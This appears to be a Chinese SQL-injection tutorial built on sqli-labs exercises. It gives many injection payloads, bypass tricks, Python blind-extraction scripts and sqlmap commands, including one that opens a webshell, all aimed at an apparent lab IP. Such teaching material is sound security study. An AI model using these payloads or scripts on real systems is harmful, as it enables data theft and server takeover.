SQL注入

SQL注入原理

SQL注入就是通过把恶意SQL语句插入到能与SQL服务器交互的WEB表单、http请求头等用户可控参数当中,再在后台与原SQL语句拼接,改变原先语法结构,最终被服务器执行。

判断数据库类型

通过报错判断

1
2
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
可以从报错信息判断出数据库是MySQL

通过数据库特有的函数判断

MySQL SQL Server Oracle
length() len() length()
@@version, version(); @@version; + 二者都返回错误可能是oracle
substring, substr substring() substr()
trim(), rtrim(), ltrim() rtrim(), ltrim() rtrim(), ltrim()
concat(),+ (||默认不可) + concat(),||
#, –[0x20], /**/ – , /**/ REM, – , /**/
BENCHMARK()、SLEEP() WAITFOR DELAY dbms_pipe.receive_message()
length(version()) len(@@version) 二者都返回错误可能是oracle

信息收集

数据库常用端口

  • Oracle:1521
  • SQL Server:1433
  • MySQL:3306

不同语言常用数据库

  • asp: SQL Server,Access
  • php:MySQL
  • java:Oracle,MySQL

SQL注入利用

万能密码

‘or 1=1#

1
2
3
4
5
# sql语句
$sql="select * from geekuser where username='$username' and password='$password'"
# 被注入后的语句
$sql="select * from geekuser where username='admin' and password=''or 1=1#'"
select * from geekuser where username='admin' and password=''or 1=1#'

where后面的条件,虽然username='admin' and password=''false,但是1=1true,因此条件为真。需要注意将原sql语句中的单引号闭合,并注释掉多出来的引号。

‘||’1

1
2
3
4
5
# sql语句
$sql="select * from geekuser where username='$username' and password='$password'"
# 被注入后的语句
$sql="select * from geekuser where username='admin' and password=''||'1'"
select * from geekuser where username='admin' and password=''||'1'

同理,开头的'password的引号闭合,然后使用了||,后面跟的1true,之后原语句末的''1闭合。

判断闭合方式

  • sqli-labs Less-1

    使用id=1时,查询正常;

    加多一个单引号id=1',出现报错信息:

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’’ LIMIT 0,1’ at line 1

    '1'' LIMIT 0,1说明右边的一个单引号是独立的,因此此语句是用单引号闭合的。

    1
    2
    # Less-1中的SQL语句
    SELECT * FROM users WHERE id='$id' LIMIT 0,1
  • sqli-labs Less-3

    使用id=1时,查询正常;

    使用id=1'时,报错:

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’’) LIMIT 0,1’ at line 1

    '1'') LIMIT 0,1说明1右边出现了单独的单引号,并且语句使用('')闭合,因此使用1')--%20 ,此时查询成功。

    1
    2
    3
    # Less-3中的SQL语句
    SELECT * FROM users WHERE id=('$id') LIMIT 0,1
    SELECT * FROM users WHERE id=('1')-- ') LIMIT 0,1

    1')--%201')将语句闭合,--%20将语句后面的部分注释掉,其中-- 是注释符,但是url中若结尾是空格就会被自动删掉,因此可以把空格改成%20,或者使用-- *,其中*可以为任意字符。

SQL注入类型

联合注入

使用order by确定列数

以sqli-labs Less-1为例,使用?id=1' order by 1-- -,将order by的1改成2,3后,查询均正常,但是改为4后,报错:

Unknown column ‘4’ in ‘order clause’

说明该数据表只有三列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mysql> select * from users;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | admin888 |
| 2 | Angelina | admin888 |
| 3 | Dummy | admin888 |
| 4 | secure | admin888 |
| 5 | stupid | admin888 |
| 6 | superman | admin888 |
| 7 | batman | admin888 |
| 8 | admin | admin888 |
| 9 | admin1 | admin888 |
| 10 | admin2 | admin888 |
| 11 | admin3 | admin888 |
| 12 | dhakkan | admin888 |
| 14 | admin4 | admin888 |
| 15 | admin'# | admin888 |
+----+----------+----------+
使用union select查询输出位置

使用id=1' union select 1,2,3-- -,可以正常查询,在MySQL中运行该语句,查看结果。

1
2
3
4
5
6
7
mysql> select * from users where id='1' union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | admin888 |
| 1 | 2 | 3 |
+----+----------+----------+

可以看到结果在第一行,将id改成-1,即id=-1' union select 1,2,3-- -,那么union前面的语句没有结果,只剩下select 1,2,3,实现网页中的回显。

1
2
3
4
5
6
mysql> select * from users where id='-1' union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+

这时我们知道网页回显的是第二列和第三列,就可以把2和3改成想查询的信息,如:

id=-1' union select 1,database(),version()-- -

查询数据库名
1
union select 1,2,group_concat(schema_name) from information_schema.schemata
查询当前数据库所有表名
1
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
查询当前数据库中users表中的所有列名
1
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'

报错注入

整型移除报错(MySQL 5.5.47-5.5.53)

当 MySQL 在某个数值列上存储超出列数据类型允许范围的值时,就会发生整型溢出,利用这个特性可以将查询结果的返回值(查询成功返回值为0)进行数学运算,产生整型溢出,报出查询的结果。但是该方法对MySQL版本有要求。

1
select 1,2,(exp(~(select * from(select user())a)));
XPath语法报错

从MySQL5.1.5开始提供两个XML查询和修改的函数,extractvalue和updatexml。它们的第二个参数都要求是符合XPath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里:

extractvalue
1
2
3
extractvalue('XML_document','Xpath_string')
# 即
extractvalue('目标xml文件名','在xml中查询的字符串')

如果我们输入的Xpath_string有误,那么Xpath_string就会出现在报错信息中,Xpath_string就是我们要查询的信息。

Xpath的格式是/xx/xx/xx/如果我们将/改成其他字符,就会报错。

1
2
3
4
mysql>  select extractvalue(1,concat('~',version(),'~'));
ERROR 1105 (HY000): XPATH syntax error: '~5.5.62-log~'
mysql> select extractvalue(1,concat('~',user(),'~'));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
updatexml
1
updatexml(XML_document, XPath_string, new_value);

用法和extractvalue类似,都是以XPath_string做为注入点。

1
2
mysql>  select updatexml(1,concat('~',user(),'~'),1);
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
  • sqli-labs Less-1

    payload:?id=1' or extractvalue(1,concat('~',(select (schema_name) from information_schema.schemata limit 4,1),'~'));-- -

    报错信息:`XPATH syntax error: ‘security

  • sqli-labs Less-4

    payload:?id=1") or extractvalue(1,concat('~',(select (schema_name) from information_schema.schemata limit 4,1),'~'));-- -

    报错信息:`XPATH syntax error: ‘security

主键重复

基于floor(),count(),group by联合使用而产生的报错方式。

  • count(*)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    mysql> select username,count(*) from users group by username;
    +----------+----------+
    | username | count(*) |
    +----------+----------+
    | admin | 1 |
    | admin1 | 1 |
    | admin2 | 1 |
    | admin3 | 1 |
    | admin4 | 1 |
    | Angelina | 1 |
    | batman | 1 |
    | dhakkan | 1 |
    | Dumb | 1 |
    | Dummy | 1 |
    | secure | 1 |
    | stupid | 1 |
    | superman | 1 |
    +----------+----------+
  • floor(rand(0)*2)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    mysql> select username,floor(rand(0)*2) from users;
    +----------+------------------+
    | username | floor(rand(0)*2) |
    +----------+------------------+
    | Dumb | 0 |
    | Angelina | 1 |
    | Dummy | 1 |
    | secure | 0 |
    | stupid | 1 |
    | superman | 1 |
    | batman | 0 |
    | admin | 0 |
    | admin1 | 1 |
    | admin2 | 1 |
    | admin3 | 1 |
    | dhakkan | 0 |
    | admin4 | 1 |
    +----------+------------------+

盲注

布尔盲注

服务端只会根据你的注入语句返回Ture跟False,而不会返回注入语句的查询结果、报错信息。通常是根据返回页面的正常与否、内容差异判定是否查询成功

  • sqli-labs Less-8

    payload:id=0' or 1-- -,有回显。

    payload:id=0' or 0-- -,无回显。

    因此payload中的0/1可以用来控制网页的回显。

    payload:id=0' or (substr(version(),1,1)=5)-- -

    可以用于查询数据库版本。

    布尔盲注脚本,sqli-labs Less-1

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    # -*- coding: UTF-8 -*-
    import re
    import requests

    url = "http://159.75.234.166/Less-1"
    result = ''

    def payload(i,j):
    sql = "0'||(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)#"%(i,j) #数据库名

    # sql = “0'||(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='security'),%d,1))>%d)#"%(i,j) #表名

    # sql = "0'||(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),%d,1))>%d)#"%(i,j) #列名

    # sql = "0'||(ord(substr((select(group_concat(username))from(users)),%d,1))>%d)#"%(i,j)
    data = {"id":sql}
    r = requests.get(url=url,params=data)
    # print (r.url)
    if "name:Dumb" in r.text:
    res = 1
    else:
    res = 0
    return res

    def exp():
    global result
    for i in range(1,10000) :
    low = 31
    high = 127
    while low <= high :
    mid = (low + high) // 2
    res = payload(i,mid)
    if res :
    low = mid + 1
    else :
    high = mid - 1
    f = int((low + high + 1)) // 2
    if (f == 127 or f == 31):
    break
    result += chr(f)
    print(i,':'+result)

    if __name__ == '__main__':
    exp()
    print('result=',result)
时间盲注

界面返回值只有true,无论输入语句,即使语句执行成功,但返回内容都没有任何变化。这时候可以通过时间函数,让结果延时返回,通过返回时常的差异判定是否查询成功

  • sqli-labs Less-9

    payload:id='^if(substr(version(),1,1)="5",1,sleep(0.5))-- -,请求马上得到结果。

    payload:id='^if(substr(version(),1,1)="6",1,sleep(1))-- -,请求要等一段时间后才拿到结果。

时间盲注脚本,sqli-labs Less-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# -*- coding: UTF-8 -*-
import requests
import re

url = "http://159.75.234.166/Less-1"
result = ''

def payload(i,j):
# sql = "'^if(ascii(mid((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d,1,sleep(0.1))#"%(i,j)
# sql = "'^if(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='security'),%d,1))>%d,1,sleep(1))#"%(i,j)
# sql = "'^if(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),%d,1))>%d,1,sleep(1))#"%(i,j)
sql = "'^if(ascii(mid((select(group_concat(username))from(users)),%d,1))>%d,1,sleep(1))#"%(i,j)
data = {"id":sql}
r = requests.get(url=url,params=data)
# print (r.url)
if r.elapsed.total_seconds()<0.1:
res = 1
else:
res = 0
return res

def exp():
global result
for i in range(1,10000) :
low = 31
high = 127
while low <= high :
mid = (low + high) // 2
res = payload(i,mid)
if res :
low = mid + 1
else :
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
result += chr(f)
print(i,':'+result)

if __name__ == '__main__':
exp()
print('result=',result)

二次注入

二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。

  • sqli-labs Less-24

    • 注册用户

      1
      2
      3
      4
      // login_create.php 注册用户
      $username= mysql_escape_string($_POST['username']) ;
      $pass= mysql_escape_string($_POST['password']);
      $re_pass= mysql_escape_string($_POST['re_password']);

      这里对POST传递的参数使用了mysql_escape_stringmysql_escape_string是对字符串进行转义,使其可以安全的用于mysql查询。如a's,转义后变成a\'s

      我们注册使用用户名为admin'#,密码123

    • 登录

      1
      2
      3
      4
      5
      $username = mysql_real_escape_string($_POST["login_user"]);
      $password = mysql_real_escape_string($_POST["login_password"]);
      $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
      // 这里将登录状态储存在了session中,且$login是没有被转义的字符串,就是说如果输入的用户名是admin'#,那么session里储存的也是admin'#
      $_SESSION["username"] = $login;

      登录语句中都对参数进行了转移处理,所以无法从此处注入。按照刚刚注册的用户名密码登录。

    • 修改密码

      1
      2
      3
      4
      5
      $username= $_SESSION["username"];
      $curr_pass= mysql_real_escape_string($_POST['current_password']);
      $pass= mysql_real_escape_string($_POST['password']);
      $re_pass= mysql_real_escape_string($_POST['re_password']);
      $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

      在这里username并不是从POST中获取,而是从session中获取,并且没有被转义,因此可以从此处进行注入。

      此前注册的用户名为admin'#,带入sql语句后,语句变为:

      1
      UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass' 

      and password='$curr_pass'这个条件被注释掉了,这条语句的意思就变成了把用户名为admin的用户的密码改成$pass,造成二次注入。由于curr_pass条件被注释掉了,所以在网页中Current Password乱填也没问题。

      登录数据库,查询admin账户的密码,发现已经被改成111了。

      1
      2
      3
      4
      5
      6
      mysql> select * from users where username="admin";
      +----+----------+----------+
      | id | username | password |
      +----+----------+----------+
      | 8 | admin | 111 |
      +----+----------+----------+

堆叠注入

条件:php中使用mysqli_multi_query()函数执行sql语句(一般情况下会使用mysqli_query())。

方式:利用分号;同时执行多条语句。

  • sqli-labs Less-38

    payload:?id=1';create table testtest like users;-- -

    执行后在数据库中查看所有的表:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    mysql> show tables;
    +--------------------+
    | Tables_in_security |
    +--------------------+
    | emails |
    | referers |
    | testtest |
    | uagents |
    | users |
    +--------------------+
    5 rows in set (0.00 sec)

    testtest表已经被创建。

常用堆叠注入payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
show databases; 				                        显示mysql中所有数据库的名称
show tables from <database_name>; 显示数据库中表的名称
show columns form <table_name>;(desc <table_name>;) 显示表中列名称
show create database <database_name>; 显示创建库语句的SQL信息。
show create table <table_name>; 显示创建表语句的SQL信息。
show engines; 显示安装以后可用的存储引擎和默认引擎
show errors; 显示最后一个执行语句所产生的错误
show procedure status <procedure_name>; 显示储存过程内容
show global variables; 显示所有全局变量
set @a=‘admin888’; 设置全局变量
set sql_mode=PIPES_AS_CONCAT; 修改配置参数
handler tbl_name OPEN; 打开一个表作为句柄
handler tbl_name READ { FIRST | NEXT}; 读取表内容
handler tbl_name CLOSE; 关闭句柄

增删改注入

条件:在insert、delete、update语句注入。

方式:报错注入、任意修改数据库内容。

  • sqli-labs Less-17

    原语句

    1
    UPDATE users SET password = '$passwd' WHERE username='$row1'

    使用payload:passwd=admin888'where 1=1-- -&uname=admin

    语句变成

    1
    UPDATE users SET password = 'admin888'where 1=1-- -' WHERE username='admin'

    后面的条件被注释掉了,所有用户的密码都被改成admin888

    使用payload:passwd=a'||extractvalue(1,concat('~',(select user()),'~'))-- -&uname=admin

    语句变成

    1
    UPDATE users SET password = 'a'||extractvalue(1,concat('~',(select user()),'~'))-- -' WHERE username='admin'

    引发XPath语法报错。

order by注入

条件:在order by语句注入

方式:报错注入,盲注

  • sqli-labs Less-46

    • 报错注入

      payload:?sort=1 or extractvalue(1,concat('~',(select database()),'~'))-- -

      报错:XPATH syntax error: ‘security

    • 盲注

      payload:?sort=if((substr(version(),1,1)=5), username, id)-- -

      如果数据库版本以5开头,那就以username排序,否则以id排序

LIMIT注入(MySQL 5.0.0-5.6.6)

条件:在limit语句注入

方式:报错注入,盲注

  • sqli-labs Less-1

    • 报错注入

      payload:?id=1'LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)-- -

sqlmap

sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

1
2
# 安装
sudo apt-get install sqlmap

sqlmap使用

get注入

  • 参数:

    • -u: 指定url
    • --dbs: 获取所有数据库名字
    • -D: 指定数据库名字
    • --tables: 获取指定数据库中所有表名
    • -T: 指定表名
    • –columns: 获取指定表中的所有列名
    • -C: 指定列名
    • --dump: 获取指定列名的数据
1
2
3
4
# 获取所有数据库名字
sqlmap -u "http://159.75.234.166/Less-1/?id=1" --dbs
# 获取security数据库中所有表名
sqlmap -u http://159.75.234.166/Less-1/?id=1 -D security --tables

post注入

  • 参数

    • --data: post参数
1
2
# 获取所有数据库名字
sqlmap -u http://159.75.234.166/Less-11/ --data "passwd=admin888&uname=admin" --dbs

从文件中获取请求

  • 参数

    • -r: 从文件中获取请求(HTTP报文)
1
sqlmap -r ./request.txt --dbs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /Less-11/ HTTP/1.1
Host: 159.75.234.166
Content-Length: 41
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://159.75.234.166
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://159.75.234.166/Less-11/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

uname=admin&passwd=admin888&submit=Submit

获取webshell

  • 参数

    • --os-shell: 获取webshell
  • 条件

    1. 知道web目录位置

    2. secure_file_prie= (一般root用户)

    3. web目录可写(可以找upload这种文件夹)

    4. GPC函数关闭(高版本默认关闭)

1
sqlmap -u http://159.75.234.166/Less-1/?id=1 --os-shell

其他功能

  1. -u : 指定目标URL
  2. -b : 获取DBMS banner
  3. –current-db : 获取当前数据库
  4. –current-user : 获取当前用户
  5. –users : 枚举DBMS用户
  6. –password : 枚举DBMS用户密码hash

设置探测等级

设置探测等级,Cookie在level为2的时候就会测试,User-Agent/Referer头默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5。

1
2
# cookie注入
sqlmap -u http://159.75.234.166/Less-20/index.php --cookie "uname=admin" --level 2

SQL注入绕过

空格

  • 括号绕过

    可以使用括号来代替语句中的空格

    1
    2
    3
    4
    5
    6
    7
    8
    9
    mysql> select(password)from(users);
    +----------+
    | password |
    +----------+
    | admin888 |
    | ........ |
    | admin888 |
    +----------+
    14 rows in set (0.00 sec)
  • URL编码绕过

    %20%09等编码字符绕过空格

    payload:?id=-1'union%20select%201,user(),version()-- -

  • 注释绕过

    使用多行注释/**//!**/绕过空格

    1
    2
    3
    4
    5
    6
    7
    mysql> select/**/password/**/from/**/users;
    +----------+
    | password |
    +----------+
    | admin888 |
    | ........ |
    | admin888 |

逗号

  • from for

    1
    substr('asdzxcqwe' from 1 for 2);
  • join

    1
    union select * from (select 1)a join (select 2)b join (select 3)c

单引号

  • hex编码

    将单引号的内容转成16进制

    1
    2
    3
    4
    5
    6
    mysql> select hex("security");
    +------------------+
    | hex("security") |
    +------------------+
    | 7365637572697479 |
    +------------------+

    payload: ?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479-- -

  • char编码

    1
    SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110);
  • %2527

    magic_quotes_gpc开启可用

比较符号

  • 等于:=、like、regexp、rlike(默认不匹配大小写,需添加关键字binary)
  • 不等于:!=、<>`
  • 大小于:greatest()、least()

注释符

  • -- -
  • %23
  • %00

等效函数

hex()、bin()、ascii()、ord()、sleep()、benchmark(5000000,select 1)、concat_ws()、group_concat()、mid()、substr()、substring()